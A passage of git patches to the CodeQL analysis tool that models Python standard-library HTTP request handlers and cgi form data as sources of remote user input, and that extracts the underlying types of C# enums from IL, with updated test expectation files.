- https://docs.python.org/2.7/library/basehttpserver.html#BaseHTTPServer.BaseHTTPRequestHandler + */ + private module HTTPRequestHandler { + /** Gets a reference to the `BaseHTTPRequestHandler` class or any subclass. */ + private DataFlow::Node subclassRef(DataFlow::TypeTracker t) { + // Python 2 + t.start() and + result in [ + BaseHTTPServer::BaseHTTPRequestHandler::classRef(), + SimpleHTTPServer::SimpleHTTPRequestHandler::classRef(), + CGIHTTPServer::CGIHTTPRequestHandler::classRef() + ] + or + // Python 3 + t.start() and + result in [ + http::server::BaseHTTPRequestHandler::classRef(), + http::server::SimpleHTTPRequestHandler::classRef(), + http::server::CGIHTTPRequestHandler::classRef() + ] + or + // subclasses in project code + result.asExpr().(ClassExpr).getABase() = subclassRef(t.continue()).asExpr() + or + exists(DataFlow::TypeTracker t2 | result = subclassRef(t2).track(t2, t)) + } + + /** Gets a reference to the `BaseHTTPRequestHandler` class or any subclass. */ + DataFlow::Node subclassRef() { result = subclassRef(DataFlow::TypeTracker::end()) } + + /** A HTTPRequestHandler class definition (most likely in project code). */ + class HTTPRequestHandlerClassDef extends Class { + HTTPRequestHandlerClassDef() { this.getParent() = subclassRef().asExpr() } + } + + /** + * A source of an instance of the `BaseHTTPRequestHandler` class or any subclass. + * + * This can include instantiation of the class, return value from function + * calls, or a special parameter that will be set when functions are call by external + * library. + * + * Use `classname::instance()` predicate to get references to instances of the `BaseHTTPRequestHandler` class or any subclass. + */ + abstract class InstanceSource extends DataFlow::Node { } + + /** The `self` parameter in a method on the `BaseHTTPRequestHandler` class or any subclass. */ + private class SelfParam extends InstanceSource, RemoteFlowSource::Range, DataFlow::ParameterNode { + SelfParam() { + exists(HTTPRequestHandlerClassDef cls | cls.getAMethod().getArg(0) = this.getParameter()) + } + + override string getSourceType() { result = "stdlib HTTPRequestHandler" } + } + + /** Gets a reference to an instance of the `BaseHTTPRequestHandler` class or any subclass. */ + private DataFlow::Node instance(DataFlow::TypeTracker t) { + t.start() and + result instanceof InstanceSource + or + exists(DataFlow::TypeTracker t2 | result = instance(t2).track(t2, t)) + } + + /** Gets a reference to an instance of the `BaseHTTPRequestHandler` class or any subclass. */ + DataFlow::Node instance() { result = instance(DataFlow::TypeTracker::end()) } + + private class AdditionalTaintStep extends TaintTracking::AdditionalTaintStep { + override predicate step(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) { + nodeFrom = instance() and + exists(DataFlow::AttrRead read | nodeTo = read and read.getObject() = nodeFrom | + read.getAttributeName() in [ + // str + "requestline", "path", + // by default dict-like http.client.HTTPMessage, which is a subclass of email.message.Message + // see https://docs.python.org/3.9/library/email.compat32-message.html#email.message.Message + // TODO: Implement custom methods (at least `get_all`, `as_bytes`, `as_string`) + "headers", + // file-like + "rfile" + ] + ) + } + } + } } // --------------------------------------------------------------------------- diff --git a/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected index 0a9b55d6792..6fa63675317 100644 --- a/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected +++ b/python/ql/test/experimental/library-tests/frameworks/stdlib/TestTaint.expected @@ -18,20 +18,20 @@ | http_server.py:39 | ok | test_cgi_FieldStorage_taint | form.getlist(..) | | http_server.py:40 | ok | test_cgi_FieldStorage_taint | form.getlist(..)[0] | | http_server.py:41 | fail | test_cgi_FieldStorage_taint | ListComp | -| http_server.py:50 | fail | taint_sources | self | -| http_server.py:52 | fail | taint_sources | self.requestline | -| http_server.py:54 | fail | taint_sources | self.path | -| http_server.py:56 | fail | taint_sources | self.headers | -| http_server.py:57 | fail | taint_sources | self.headers['Foo'] | -| http_server.py:58 | fail | taint_sources | self.headers.get(..) | +| http_server.py:50 | ok | taint_sources | self | +| http_server.py:52 | ok | taint_sources | self.requestline | +| http_server.py:54 | ok | taint_sources | self.path | +| http_server.py:56 | ok | taint_sources | self.headers | +| http_server.py:57 | ok | taint_sources | self.headers['Foo'] | +| http_server.py:58 | ok | taint_sources | self.headers.get(..) | | http_server.py:59 | fail | taint_sources | self.headers.get_all(..) | | http_server.py:60 | fail | taint_sources | self.headers.keys() | -| http_server.py:61 | fail | taint_sources | self.headers.values() | -| http_server.py:62 | fail | taint_sources | self.headers.items() | +| http_server.py:61 | ok | taint_sources | self.headers.values() | +| http_server.py:62 | ok | taint_sources | self.headers.items() | | http_server.py:63 | fail | taint_sources | self.headers.as_bytes() | | http_server.py:64 | fail | taint_sources | self.headers.as_string() | -| http_server.py:65 | fail | taint_sources | str(..) | -| http_server.py:66 | fail | taint_sources | bytes(..) | -| http_server.py:68 | fail | taint_sources | self.rfile | +| http_server.py:65 | ok | taint_sources | str(..) | +| http_server.py:66 | ok | taint_sources | bytes(..) | +| http_server.py:68 | ok | taint_sources | self.rfile | | http_server.py:69 | fail | taint_sources | self.rfile.read() | | http_server.py:78 | ok | taint_sources | form | From fabc6fb7d99f777acbcc583baaf7622acd50f1e6 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Tue, 8 Dec 2020 13:55:41 +0100 Subject: [PATCH 0191/1241] Python: Add change-note --- python/change-notes/2020-12-08-stdlib-http-source-modeling.md | 3 +++ 1 file changed, 3 insertions(+) create mode 100644 python/change-notes/2020-12-08-stdlib-http-source-modeling.md diff --git a/python/change-notes/2020-12-08-stdlib-http-source-modeling.md b/python/change-notes/2020-12-08-stdlib-http-source-modeling.md new file mode 100644 index 00000000000..9c96c371731 --- /dev/null +++ b/python/change-notes/2020-12-08-stdlib-http-source-modeling.md @@ -0,0 +1,3 @@ +lgtm,codescanning +* Added modeling of HTTP servers created with `BaseHTTPRequestHandler` from standard library as a source of remote user input (`RemoteFlowSource`). +* Added modeling of HTML form submission with `cgi.FieldStorage` from standard library as a source of remote user input (`RemoteFlowSource`). From cbcae667a8efe906aadbb870311a11e618f9e17a Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Tam=C3=A1s=20Vajk?= Date: Tue, 8 Dec 2020 15:09:56 +0100 Subject: [PATCH 0192/1241] Apply suggestions from code review Co-authored-by: Tom Hvitved --- csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs index b9c080c2bcc..045a729d0a6 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/Attribute.cs @@ -69,7 +69,7 @@ namespace Semmle.Extraction.CIL.Entities { if (value is System.Collections.Immutable.ImmutableArray> values) { - return "[" + string.Join(",", values.Select(v => v.Value?.ToString() ?? "null")) + "]"; + return "[" + string.Join(",", values.Select(v => GetStringValue(v.Value))) + "]"; } return value?.ToString() ?? "null"; From c7d6c428515ff66fc67dcbdc513755fbcd961f41 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Wed, 2 Dec 2020 09:50:07 +0100 Subject: [PATCH 0193/1241] C#: Add underlying enum type test for CIL extraction --- .../test/library-tests/cil/enums/Program.cs | 10 + .../library-tests/cil/enums/enums.expected | 240 ++++++++++++++++++ .../ql/test/library-tests/cil/enums/enums.ql | 4 + 3 files changed, 254 insertions(+) create mode 100644 csharp/ql/test/library-tests/cil/enums/Program.cs create mode 100644 csharp/ql/test/library-tests/cil/enums/enums.expected create mode 100644 csharp/ql/test/library-tests/cil/enums/enums.ql diff --git a/csharp/ql/test/library-tests/cil/enums/Program.cs b/csharp/ql/test/library-tests/cil/enums/Program.cs new file mode 100644 index 00000000000..ea38187bdec --- /dev/null +++ b/csharp/ql/test/library-tests/cil/enums/Program.cs @@ -0,0 +1,10 @@ +// semmle-extractor-options: --cil + +using System; + +class Test +{ + static void Main(string[] args) + { + } +} diff --git a/csharp/ql/test/library-tests/cil/enums/enums.expected b/csharp/ql/test/library-tests/cil/enums/enums.expected new file mode 100644 index 00000000000..38d3ea20e3e --- /dev/null +++ b/csharp/ql/test/library-tests/cil/enums/enums.expected @@ -0,0 +1,240 @@ +| Interop.Advapi32.ActivityControl | int | +| Interop.BOOL | int | +| Interop.Error | int | +| Interop.Globalization.ResultCode | int | +| Interop.Globalization.TimeZoneDisplayNameType | int | +| Interop.Sys.AccessMode | int | +| Interop.Sys.ControlCharacterNames | int | +| Interop.Sys.CtrlCode | int | +| Interop.Sys.FileAdvice | int | +| Interop.Sys.FileStatusFlags | int | +| Interop.Sys.LockOperations | int | +| Interop.Sys.NodeType | int | +| Interop.Sys.OpenFlags | int | +| Interop.Sys.PollEvents | int | +| Interop.Sys.SeekWhence | int | +| Interop.Sys.SysConfName | int | +| Interop.Sys.SysLogPriority | int | +| System.AttributeTargets | int | +| System.Base64FormattingOptions | int | +| System.Buffers.ArrayPoolEventSource.BufferAllocatedReason | int | +| System.Buffers.OperationStatus | int | +| System.Buffers.Text.FormattingHelpers.HexCasing | int | +| System.Buffers.Text.Utf8Parser.ComponentParseResult | int | +| System.Buffers.Text.Utf8Parser.ParseNumberOptions | int | +| System.Buffers.TlsOverPerCoreLockedStacksArrayPool.MemoryPressure | int | +| System.Collections.Generic.InsertionBehavior | int | +| System.ComponentModel.EditorBrowsableState | int | +| System.Configuration.Assemblies.AssemblyHashAlgorithm | int | +| System.Configuration.Assemblies.AssemblyVersionCompatibility | int | +| System.ConsoleColor | int | +| System.ConsoleKey | int | +| System.ConsoleModifiers | int | +| System.ConsoleSpecialKey | int | +| System.DTSubStringType | int | +| System.DateTimeKind | int | +| System.DateTimeParse.DS | int | +| System.DateTimeParse.DTT | int | +| System.DateTimeParse.TM | int | +| System.DayOfWeek | int | +| System.DefaultBinder.Primitives | int | +| System.DelegateBindingFlags | int | +| System.Diagnostics.Contracts.ContractFailureKind | int | +| System.Diagnostics.DebuggableAttribute.DebuggingModes | int | +| System.Diagnostics.DebuggerBrowsableState | int | +| System.Diagnostics.StackTrace.TraceFormat | int | +| System.Diagnostics.SymbolStore.SymAddressKind | int | +| System.Diagnostics.Tracing.ControllerCommand | int | +| System.Diagnostics.Tracing.EventActivityOptions | int | +| System.Diagnostics.Tracing.EventChannel | int | +| System.Diagnostics.Tracing.EventChannelType | int | +| System.Diagnostics.Tracing.EventCommand | int | +| System.Diagnostics.Tracing.EventFieldFormat | int | +| System.Diagnostics.Tracing.EventFieldTags | int | +| System.Diagnostics.Tracing.EventKeywords | int | +| System.Diagnostics.Tracing.EventLevel | int | +| System.Diagnostics.Tracing.EventManifestOptions | int | +| System.Diagnostics.Tracing.EventOpcode | int | +| System.Diagnostics.Tracing.EventPipeSerializationFormat | int | +| System.Diagnostics.Tracing.EventProvider.WriteEventErrorCode | int | +| System.Diagnostics.Tracing.EventProviderType | int | +| System.Diagnostics.Tracing.EventSourceSettings | int | +| System.Diagnostics.Tracing.EventTags | int | +| System.Diagnostics.Tracing.EventTask | int | +| System.Diagnostics.Tracing.ManifestEnvelope.ManifestFormats | int | +| System.Diagnostics.Tracing.TraceLoggingDataType | int | +| System.Enum | int | +| System.Environment.SpecialFolder | int | +| System.Environment.SpecialFolderOption | int | +| System.EnvironmentVariableTarget | int | +| System.Exception.ExceptionMessageKind | int | +| System.ExceptionArgument | int | +| System.ExceptionResource | int | +| System.GC.EndNoGCRegionStatus | int | +| System.GC.StartNoGCRegionStatus | int | +| System.GCCollectionMode | int | +| System.GCNotificationStatus | int | +| System.Globalization.BidiCategory | int | +| System.Globalization.CalendarAlgorithmType | int | +| System.Globalization.CalendarDataType | int | +| System.Globalization.CalendarId | int | +| System.Globalization.CalendarWeekRule | int | +| System.Globalization.CalendricalCalculationsHelper.CorrectionAlgorithm | int | +| System.Globalization.CompareOptions | int | +| System.Globalization.CultureData.LocaleGroupingData | int | +| System.Globalization.CultureData.LocaleNumberData | int | +| System.Globalization.CultureData.LocaleStringData | int | +| System.Globalization.CultureTypes | int | +| System.Globalization.DateTimeFormatFlags | int | +| System.Globalization.DateTimeFormatInfoScanner.FoundDatePattern | int | +| System.Globalization.DateTimeStyles | int | +| System.Globalization.DigitShapes | int | +| System.Globalization.FORMATFLAGS | int | +| System.Globalization.GregorianCalendarTypes | int | +| System.Globalization.HebrewNumber.HS | int | +| System.Globalization.HebrewNumber.HebrewToken | int | +| System.Globalization.HebrewNumberParsingState | int | +| System.Globalization.LocaleDataParts | int | +| System.Globalization.MonthNameStyles | int | +| System.Globalization.NumberStyles | int | +| System.Globalization.TextInfo.Tristate | int | +| System.Globalization.TimeSpanFormat.StandardFormat | int | +| System.Globalization.TimeSpanParse.TTT | int | +| System.Globalization.TimeSpanParse.TimeSpanStandardStyles | int | +| System.Globalization.TimeSpanStyles | int | +| System.Globalization.UnicodeCategory | int | +| System.Guid.GuidParseThrowStyle | int | +| System.IO.FileAccess | int | +| System.IO.FileAttributes | int | +| System.IO.FileMode | int | +| System.IO.FileOptions | int | +| System.IO.FileShare | int | +| System.IO.HandleInheritability | int | +| System.IO.SeekOrigin | int | +| System.LazyState | int | +| System.MidpointRounding | int | +| System.Number.NumberBufferKind | int | +| System.Number.ParsingStatus | int | +| System.ParseFailureKind | int | +| System.ParseFlags | int | +| System.PlatformID | int | +| System.Reflection.AssemblyContentType | int | +| System.Reflection.AssemblyNameFlags | int | +| System.Reflection.Associates.Attributes | int | +| System.Reflection.BindingFlags | int | +| System.Reflection.CallingConventions | int | +| System.Reflection.CorElementType | int | +| System.Reflection.CustomAttributeEncoding | int | +| System.Reflection.Emit.AssemblyBuilderAccess | int | +| System.Reflection.Emit.DynamicResolver.SecurityControlFlags | int | +| System.Reflection.Emit.FlowControl | int | +| System.Reflection.Emit.OpCodeType | int | +| System.Reflection.Emit.OpCodeValues | int | +| System.Reflection.Emit.OperandType | int | +| System.Reflection.Emit.PEFileKinds | int | +| System.Reflection.Emit.PackingSize | int | +| System.Reflection.Emit.ScopeAction | int | +| System.Reflection.Emit.StackBehaviour | int | +| System.Reflection.Emit.TypeKind | int | +| System.Reflection.Emit.TypeNameBuilder.Format | int | +| System.Reflection.EventAttributes | int | +| System.Reflection.ExceptionHandlingClauseOptions | int | +| System.Reflection.FieldAttributes | int | +| System.Reflection.GenericParameterAttributes | int | +| System.Reflection.INVOCATION_FLAGS | int | +| System.Reflection.ImageFileMachine | int | +| System.Reflection.MdSigCallingConvention | int | +| System.Reflection.MemberTypes | int | +| System.Reflection.MetadataTokenType | int | +| System.Reflection.MethodAttributes | int | +| System.Reflection.MethodImplAttributes | int | +| System.Reflection.MethodSemanticsAttributes | int | +| System.Reflection.PInvokeAttributes | int | +| System.Reflection.ParameterAttributes | int | +| System.Reflection.PortableExecutableKinds | int | +| System.Reflection.ProcessorArchitecture | int | +| System.Reflection.PropertyAttributes | int | +| System.Reflection.ResourceAttributes | int | +| System.Reflection.ResourceLocation | int | +| System.Reflection.TypeAttributes | int | +| System.Resources.ResourceTypeCode | int | +| System.Resources.UltimateResourceFallbackLocation | int | +| System.Runtime.CompilerServices.CompilationRelaxations | int | +| System.Runtime.CompilerServices.LoadHint | int | +| System.Runtime.CompilerServices.MethodCodeType | int | +| System.Runtime.CompilerServices.MethodImplOptions | int | +| System.Runtime.ConstrainedExecution.Cer | int | +| System.Runtime.ConstrainedExecution.Consistency | int | +| System.Runtime.GCLargeObjectHeapCompactionMode | int | +| System.Runtime.GCLatencyMode | int | +| System.Runtime.GCSettings.SetLatencyModeStatus | int | +| System.Runtime.InteropServices.CallingConvention | int | +| System.Runtime.InteropServices.CharSet | int | +| System.Runtime.InteropServices.ClassInterfaceType | int | +| System.Runtime.InteropServices.ComInterfaceType | int | +| System.Runtime.InteropServices.ComMemberType | int | +| System.Runtime.InteropServices.ComTypes.CALLCONV | int | +| System.Runtime.InteropServices.ComTypes.DESCKIND | int | +| System.Runtime.InteropServices.ComTypes.FUNCFLAGS | int | +| System.Runtime.InteropServices.ComTypes.FUNCKIND | int | +| System.Runtime.InteropServices.ComTypes.IDLFLAG | int | +| System.Runtime.InteropServices.ComTypes.IMPLTYPEFLAGS | int | +| System.Runtime.InteropServices.ComTypes.INVOKEKIND | int | +| System.Runtime.InteropServices.ComTypes.LIBFLAGS | int | +| System.Runtime.InteropServices.ComTypes.PARAMFLAG | int | +| System.Runtime.InteropServices.ComTypes.SYSKIND | int | +| System.Runtime.InteropServices.ComTypes.TYPEFLAGS | int | +| System.Runtime.InteropServices.ComTypes.TYPEKIND | int | +| System.Runtime.InteropServices.ComTypes.VARFLAGS | int | +| System.Runtime.InteropServices.ComTypes.VARKIND | int | +| System.Runtime.InteropServices.CustomQueryInterfaceMode | int | +| System.Runtime.InteropServices.CustomQueryInterfaceResult | int | +| System.Runtime.InteropServices.DllImportSearchPath | int | +| System.Runtime.InteropServices.GCHandleType | int | +| System.Runtime.InteropServices.LayoutKind | int | +| System.Runtime.InteropServices.UnmanagedType | int | +| System.Runtime.InteropServices.VarEnum | int | +| System.Runtime.Intrinsics.X86.FloatComparisonMode | int | +| System.Runtime.Loader.AssemblyLoadContext.InternalState | int | +| System.Runtime.Serialization.StreamingContextStates | int | +| System.RuntimeType.MemberListType | int | +| System.RuntimeType.RuntimeTypeCache.CacheType | int | +| System.Security.PartialTrustVisibilityLevel | int | +| System.Security.Permissions.PermissionState | int | +| System.Security.Principal.PrincipalPolicy | int | +| System.Security.SecurityCriticalScope | int | +| System.Security.SecurityRuleSet | int | +| System.String.TrimType | int | +| System.StringComparison | int | +| System.StringSplitOptions | int | +| System.StubHelpers.AsAnyMarshaler.BackPropAction | int | +| System.TermInfo.WellKnownNumbers | int | +| System.TermInfo.WellKnownStrings | int | +| System.Text.NormalizationForm | int | +| System.Threading.ApartmentState | int | +| System.Threading.EventResetMode | int | +| System.Threading.LazyThreadSafetyMode | int | +| System.Threading.LockRecursionPolicy | int | +| System.Threading.ReaderWriterLockSlim.EnterLockType | int | +| System.Threading.ReaderWriterLockSlim.EnterSpinLockReason | int | +| System.Threading.ReaderWriterLockSlim.WaiterStates | int | +| System.Threading.StackCrawlMark | int | +| System.Threading.Tasks.ConcurrentExclusiveSchedulerPair.ProcessingMode | int | +| System.Threading.Tasks.InternalTaskOptions | int | +| System.Threading.Tasks.Sources.ValueTaskSourceOnCompletedFlags | int | +| System.Threading.Tasks.Sources.ValueTaskSourceStatus | int | +| System.Threading.Tasks.TaskContinuationOptions | int | +| System.Threading.Tasks.TaskCreationOptions | int | +| System.Threading.Tasks.TaskStatus | int | +| System.Threading.Tasks.TplEventSource.TaskWaitBehavior | int | +| System.Threading.ThreadPriority | int | +| System.Threading.ThreadState | int | +| System.Threading.WaitHandle.OpenExistingResult | int | +| System.TimeZoneInfo.StringSerializer.State | int | +| System.TimeZoneInfo.TZVersion | int | +| System.TimeZoneInfo.TimeZoneInfoResult | int | +| System.TimeZoneInfoOptions | int | +| System.TokenType | int | +| System.TypeCode | int | +| System.TypeNameFormatFlags | int | +| System.TypeNameKind | int | diff --git a/csharp/ql/test/library-tests/cil/enums/enums.ql b/csharp/ql/test/library-tests/cil/enums/enums.ql new file mode 100644 index 00000000000..1776f42f145 --- /dev/null +++ b/csharp/ql/test/library-tests/cil/enums/enums.ql @@ -0,0 +1,4 @@ +import semmle.code.cil.Types + +from Enum e +select e.getQualifiedName(), e.getUnderlyingType().toStringWithTypes() From 6b3010e3e6e70518c3f90f49cd2f48477659eb63 Mon Sep 17 00:00:00 2001 From: Tamas Vajk Date: Tue, 1 Dec 2020 17:23:30 +0100 Subject: [PATCH 0194/1241] C#: Extract enum underlying type from IL --- .../Entities/TypeDefinitionType.cs | 62 +++++++++++++++++ .../extractor/Semmle.Extraction.CIL/Tuples.cs | 3 + csharp/ql/src/semmle/code/cil/Types.qll | 8 ++- csharp/ql/src/semmlecode.csharp.dbscheme | 1 + .../library-tests/cil/enums/enums.expected | 68 +++++++++---------- 5 files changed, 106 insertions(+), 36 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs index 61a761b4cba..c848eae0c3c 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Entities/TypeDefinitionType.cs @@ -212,6 +212,15 @@ namespace Semmle.Extraction.CIL.Entities var @base = (Type)Cx.CreateGeneric(this, td.BaseType); yield return @base; yield return Tuples.cil_base_class(this, @base); + + if (IsSystemEnum(td.BaseType) && + GetUnderlyingEnumType() is var underlying && + underlying.HasValue) + { + var underlyingType = Cx.Create(underlying.Value); + yield return underlyingType; + yield return Tuples.cil_enum_underlying_type(this, underlyingType); + } } foreach (var @interface in td.GetInterfaceImplementations().Select(i => Cx.MdReader.GetInterfaceImplementation(i))) @@ -226,6 +235,59 @@ namespace Semmle.Extraction.CIL.Entities } } + private bool IsSystemEnum(EntityHandle baseType) + { + return baseType.Kind switch + { + HandleKind.TypeReference => IsSystemEnum((TypeReferenceHandle)baseType), + HandleKind.TypeDefinition => IsSystemEnum((TypeDefinitionHandle)baseType), + _ => false, + }; + } + + private bool IsSystemEnum(TypeReferenceHandle baseType) + { + var baseTypeReference = Cx.MdReader.GetTypeReference(baseType); + + return IsSystemEnum(baseTypeReference.Name, baseTypeReference.Namespace); + } + + private bool IsSystemEnum(TypeDefinitionHandle baseType) + { + var baseTypeDefinition = Cx.MdReader.GetTypeDefinition(baseType); + + return IsSystemEnum(baseTypeDefinition.Name, baseTypeDefinition.Namespace); + } + + private bool IsSystemEnum(StringHandle typeName, StringHandle namespaceName) + { + return Cx.MdReader.StringComparer.Equals(typeName, "Enum") && + !namespaceName.IsNil && + Cx.MdReader.StringComparer.Equals(namespaceName, "System"); + } + + internal PrimitiveTypeCode? GetUnderlyingEnumType() + { + foreach (var handle in td.GetFields()) + { + var field = Cx.MdReader.GetFieldDefinition(handle); + if ((field.Attributes & FieldAttributes.Static) != 0) + { + continue; + } + + var blob = Cx.MdReader.GetBlobReader(field.Signature); + if (blob.ReadSignatureHeader().Kind != SignatureKind.Field) + { + break; + } + + return (PrimitiveTypeCode)blob.ReadByte(); + } + + return null; + } + internal override Method LookupMethod(StringHandle name, BlobHandle signature) { foreach (var h in td.GetMethods()) diff --git a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs index 498fe629ed6..5f89d135fd7 100644 --- a/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CIL/Tuples.cs @@ -32,6 +32,9 @@ namespace Semmle.Extraction.CIL internal static Tuple cil_base_class(Type t, Type @base) => new Tuple("cil_base_class", t, @base); + internal static Tuple cil_enum_underlying_type(Type t, PrimitiveType underlying) => + new Tuple("cil_enum_underlying_type", t, underlying); + internal static Tuple cil_base_interface(Type t, Type @base) => new Tuple("cil_base_interface", t, @base); diff --git a/csharp/ql/src/semmle/code/cil/Types.qll b/csharp/ql/src/semmle/code/cil/Types.qll index 118acfbfa4b..c8e850baae3 100644 --- a/csharp/ql/src/semmle/code/cil/Types.qll +++ b/csharp/ql/src/semmle/code/cil/Types.qll @@ -47,8 +47,12 @@ class ValueOrRefType extends DotNet::ValueOrRefType, Type, @cil_valueorreftype { class Enum extends ValueOrRefType { Enum() { this.isEnum() } - // Note that we don't actually use the proper internal representation yet. - override IntType getUnderlyingType() { any() } + override IntegralType getUnderlyingType() { + cil_enum_underlying_type(this, result) + or + not exists(IntegralType underlying | cil_enum_underlying_type(this, underlying)) and + result = any(IntType i) + } } /** A `class`. */ diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index eedef9359e1..cfaa4e90da2 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -1803,6 +1803,7 @@ cil_newslot(int id: @cil_method ref); cil_base_class(unique int id: @cil_type ref, int base: @cil_type ref); cil_base_interface(int id: @cil_type ref, int base: @cil_type ref); +cil_enum_underlying_type(unique int id: @cil_type ref, int underlying: @cil_type ref); #keyset[unbound, index] cil_type_parameter( diff --git a/csharp/ql/test/library-tests/cil/enums/enums.expected b/csharp/ql/test/library-tests/cil/enums/enums.expected index 38d3ea20e3e..ce2576e3756 100644 --- a/csharp/ql/test/library-tests/cil/enums/enums.expected +++ b/csharp/ql/test/library-tests/cil/enums/enums.expected @@ -1,4 +1,4 @@ -| Interop.Advapi32.ActivityControl | int | +| Interop.Advapi32.ActivityControl | uint | | Interop.BOOL | int | | Interop.Error | int | | Interop.Globalization.ResultCode | int | @@ -11,7 +11,7 @@ | Interop.Sys.LockOperations | int | | Interop.Sys.NodeType | int | | Interop.Sys.OpenFlags | int | -| Interop.Sys.PollEvents | int | +| Interop.Sys.PollEvents | short | | Interop.Sys.SeekWhence | int | | Interop.Sys.SysConfName | int | | Interop.Sys.SysLogPriority | int | @@ -19,11 +19,11 @@ | System.Base64FormattingOptions | int | | System.Buffers.ArrayPoolEventSource.BufferAllocatedReason | int | | System.Buffers.OperationStatus | int | -| System.Buffers.Text.FormattingHelpers.HexCasing | int | -| System.Buffers.Text.Utf8Parser.ComponentParseResult | int | +| System.Buffers.Text.FormattingHelpers.HexCasing | uint | +| System.Buffers.Text.Utf8Parser.ComponentParseResult | byte | | System.Buffers.Text.Utf8Parser.ParseNumberOptions | int | | System.Buffers.TlsOverPerCoreLockedStacksArrayPool.MemoryPressure | int | -| System.Collections.Generic.InsertionBehavior | int | +| System.Collections.Generic.InsertionBehavior | byte | | System.ComponentModel.EditorBrowsableState | int | | System.Configuration.Assemblies.AssemblyHashAlgorithm | int | | System.Configuration.Assemblies.AssemblyVersionCompatibility | int | @@ -46,12 +46,12 @@ | System.Diagnostics.SymbolStore.SymAddressKind | int | | System.Diagnostics.Tracing.ControllerCommand | int | | System.Diagnostics.Tracing.EventActivityOptions | int | -| System.Diagnostics.Tracing.EventChannel | int | +| System.Diagnostics.Tracing.EventChannel | byte | | System.Diagnostics.Tracing.EventChannelType | int | | System.Diagnostics.Tracing.EventCommand | int | | System.Diagnostics.Tracing.EventFieldFormat | int | | System.Diagnostics.Tracing.EventFieldTags | int | -| System.Diagnostics.Tracing.EventKeywords | int | +| System.Diagnostics.Tracing.EventKeywords | long | | System.Diagnostics.Tracing.EventLevel | int | | System.Diagnostics.Tracing.EventManifestOptions | int | | System.Diagnostics.Tracing.EventOpcode | int | @@ -61,7 +61,7 @@ | System.Diagnostics.Tracing.EventSourceSettings | int | | System.Diagnostics.Tracing.EventTags | int | | System.Diagnostics.Tracing.EventTask | int | -| System.Diagnostics.Tracing.ManifestEnvelope.ManifestFormats | int | +| System.Diagnostics.Tracing.ManifestEnvelope.ManifestFormats | byte | | System.Diagnostics.Tracing.TraceLoggingDataType | int | | System.Enum | int | | System.Environment.SpecialFolder | int | @@ -77,13 +77,13 @@ | System.Globalization.BidiCategory | int | | System.Globalization.CalendarAlgorithmType | int | | System.Globalization.CalendarDataType | int | -| System.Globalization.CalendarId | int | +| System.Globalization.CalendarId | ushort | | System.Globalization.CalendarWeekRule | int | | System.Globalization.CalendricalCalculationsHelper.CorrectionAlgorithm | int | | System.Globalization.CompareOptions | int | -| System.Globalization.CultureData.LocaleGroupingData | int | -| System.Globalization.CultureData.LocaleNumberData | int | -| System.Globalization.CultureData.LocaleStringData | int | +| System.Globalization.CultureData.LocaleGroupingData | uint | +| System.Globalization.CultureData.LocaleNumberData | uint | +| System.Globalization.CultureData.LocaleStringData | uint | | System.Globalization.CultureTypes | int | | System.Globalization.DateTimeFormatFlags | int | | System.Globalization.DateTimeFormatInfoScanner.FoundDatePattern | int | @@ -91,19 +91,19 @@ | System.Globalization.DigitShapes | int | | System.Globalization.FORMATFLAGS | int | | System.Globalization.GregorianCalendarTypes | int | -| System.Globalization.HebrewNumber.HS | int | -| System.Globalization.HebrewNumber.HebrewToken | int | +| System.Globalization.HebrewNumber.HS | sbyte | +| System.Globalization.HebrewNumber.HebrewToken | short | | System.Globalization.HebrewNumberParsingState | int | | System.Globalization.LocaleDataParts | int | | System.Globalization.MonthNameStyles | int | | System.Globalization.NumberStyles | int | -| System.Globalization.TextInfo.Tristate | int | +| System.Globalization.TextInfo.Tristate | byte | | System.Globalization.TimeSpanFormat.StandardFormat | int | -| System.Globalization.TimeSpanParse.TTT | int | -| System.Globalization.TimeSpanParse.TimeSpanStandardStyles | int | +| System.Globalization.TimeSpanParse.TTT | byte | +| System.Globalization.TimeSpanParse.TimeSpanStandardStyles | byte | | System.Globalization.TimeSpanStyles | int | | System.Globalization.UnicodeCategory | int | -| System.Guid.GuidParseThrowStyle | int | +| System.Guid.GuidParseThrowStyle | byte | | System.IO.FileAccess | int | | System.IO.FileAttributes | int | | System.IO.FileMode | int | @@ -113,7 +113,7 @@ | System.IO.SeekOrigin | int | | System.LazyState | int | | System.MidpointRounding | int | -| System.Number.NumberBufferKind | int | +| System.Number.NumberBufferKind | byte | | System.Number.ParsingStatus | int | | System.ParseFailureKind | int | | System.ParseFlags | int | @@ -123,7 +123,7 @@ | System.Reflection.Associates.Attributes | int | | System.Reflection.BindingFlags | int | | System.Reflection.CallingConventions | int | -| System.Reflection.CorElementType | int | +| System.Reflection.CorElementType | byte | | System.Reflection.CustomAttributeEncoding | int | | System.Reflection.Emit.AssemblyBuilderAccess | int | | System.Reflection.Emit.DynamicResolver.SecurityControlFlags | int | @@ -133,7 +133,7 @@ | System.Reflection.Emit.OperandType | int | | System.Reflection.Emit.PEFileKinds | int | | System.Reflection.Emit.PackingSize | int | -| System.Reflection.Emit.ScopeAction | int | +| System.Reflection.Emit.ScopeAction | sbyte | | 